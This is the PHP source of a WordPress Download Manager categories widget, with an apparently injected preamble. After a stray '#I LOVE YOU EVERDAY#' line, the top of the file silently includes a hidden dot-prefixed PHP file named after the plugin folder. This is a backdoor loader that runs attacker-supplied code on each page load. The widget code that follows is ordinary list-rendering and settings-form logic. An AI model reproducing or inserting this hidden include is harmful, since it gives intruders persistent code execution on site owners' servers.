#I LOVE YOU EVERDAY#

<?php

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPDM_Categories extends WP_Widget {
    /** constructor */
    function __construct() {
        parent::__construct(false, 'WPDM Categories');
    }

/** @see WP_Widget::widget */
    function widget($args, $instance) {
        extract( $args );
        $instance['title'] = isset($instance['title'])?$instance['title']:'';
        $title = apply_filters('widget_title', $instance['title']);
        $parent = isset($instance['parent']) && $instance['parent'] >0 ?intval($instance['parent']):0;
        $style = isset($instance['style'])?esc_attr($instance['style']):'flat';
        $toplevel = isset($instance['toplevel'])?esc_attr($instance['toplevel']):0;
        $category_page = isset($instance['category_page'])?esc_attr($instance['category_page']):'showall';
        $hideon0 = isset($instance['hideon0'])?esc_attr($instance['hideon0']):0;

$args = array(
            'orderby'           => 'name',
            'order'             => 'ASC',
            'hide_empty'        => false,
            'exclude'           => array(),
            'exclude_tree'      => array(),
            'include'           => array(),
            'number'            => '',
            'fields'            => 'all',
            'slug'              => '',
            'parent'            => '',
            'hierarchical'      => ($style == 'flat'?false:true),
            'child_of'          => $parent,
            'childless'         => false,
            'get'               => '',
            'name__like'        => '',
            'description__like' => '',
            'pad_counts'        => false,
            'offset'            => '',
            'search'            => '',
            'cache_domain'      => 'core'
        );

$object = get_queried_object();
        if($category_page == 'subs' && !isset($object->post_type))
            $args['parent'] = get_queried_object_id();

$terms = get_terms("wpdmcategory", $args);

if($hideon0 == 1 && count($terms) == 0){
            return;
        }

echo $before_widget;
        if ( $title )
        echo $before_title . $title . $after_title;

if($style == 'flat') {
            echo "<div class='w3eden'><div class='list-group'>";
            foreach ($terms as $term) {
                echo "<a href='" . get_term_link($term) . "'  class='list-group-item d-flex justify-content-between align-items-center text-default'>{$term->name}<span class='badge badge-info'>{$term->count}</span></a>\n";
            }

echo "</div></div>\n";
        } else if($style == 'icon' ) {

echo "<div class='wpdm-categories icon-list'>";
            foreach ($terms as $term) {
                $icon = \WPDM\libs\CategoryHandler::icon($term->term_id);
                if($icon == '') $icon = "https://cdn1.iconfinder.com/data/icons/gradient-android-apps/64/1-05-512.png";
                if(($toplevel == 1 && $term->parent == 0) || $toplevel == 0)
                echo "<div class='icon-cat'><a href='" . get_term_link($term) . "'><img src='{$icon}' class='cat-icon' /> {$term->name}</a></div>\n";
            }
            echo "</div>";
        }
         else {

echo "<ul class='wpdm-categories'>";
            $cparent = $parent;
            if($cparent!==0){
                $cparent = get_term_by('slug', $cparent, 'wpdmcategory');
                $cparent = $cparent->term_id;
            }
            wpdm_categories_tree($cparent, $terms);
            echo "</ul>";
        }
        echo $after_widget; ?>
        <?php
    }

/** @see WP_Widget::update */
    function update($new_instance, $old_instance) {
        return $new_instance;
    }

/** @see WP_Widget::form */
    function form($instance) {
        $title = isset($instance['title'])?esc_attr($instance['title']):"";
        $parent = isset($instance['parent'])?intval($instance['parent']):0;
        $style = isset($instance['style'])?esc_attr($instance['style']):'flat';
        $toplevel = isset($instance['toplevel'])?esc_attr($instance['toplevel']):0;
        $category_page = isset($instance['category_page'])?esc_attr($instance['category_page']):0;
        $hideon0 = isset($instance['hideon0'])?esc_attr($instance['hideon0']):0;
        ?>
        <p>
            <label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
            <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
        </p>
        <p>
            <label for="<?php echo $this->get_field_id('parent'); ?>"><?php _e('Parent:'); ?></label><br/>
            <?php wpdm_dropdown_categories($this->get_field_name('parent'), $parent, $this->get_field_id('parent')); ?>
        </p>
        <p>
            <label for="<?php echo $this->get_field_id('category_page'); ?>"><?php _e('On Category Page:', 'download-manger'); ?></label><br/>
            <select id="<?php echo $this->get_field_id('category_page'); ?>" name="<?php echo $this->get_field_name('category_page'); ?>">
                <option value="showall" <?php selected('showall', $category_page ); ?>><?php echo __( "Show all", "download-manager" ) ?></option>
                <option value="subs" <?php selected('subs', $category_page ); ?>><?php echo __( "Show subcategories only", "download-manager" ) ?></option>
            </select>
        </p>
        <p>
            <label><?php _e('Style:'); ?></label><br/>
            <label><input type="radio" name="<?php echo $this->get_field_name('style'); ?>" <?php checked('flat', $style); ?> value="flat"> Flat List</label><br/>
            <label><input type="radio" name="<?php echo $this->get_field_name('style'); ?>" <?php checked('tree', $style); ?> value="tree"> Hierarchy List</label><br/>
            <label><input type="radio" name="<?php echo $this->get_field_name('style'); ?>" <?php checked('icon', $style); ?> value="icon"> Icon List ( Flat )</label><br/>
            
        </p>
        <p>
            <label for="<?php echo $this->get_field_id('toplevel'); ?>"><input type="checkbox" name="<?php echo $this->get_field_name('toplevel'); ?>" <?php checked('1', $toplevel); ?> value="1"> <?php _e('Top Level Only', 'download-manager'); ?></label><br/>
        </p>
        <p>
            <label for="<?php echo $this->get_field_id('hideon0'); ?>"><input type="checkbox" name="<?php echo $this->get_field_name('hideon0'); ?>" <?php checked('1', $hideon0); ?> value="1"> <?php _e('Hide widget when no category', 'download-manager'); ?></label><br/>
        </p>
        <?php
    }

}

add_action('widgets_init', function(){
    register_widget("WPDM_Categories");
});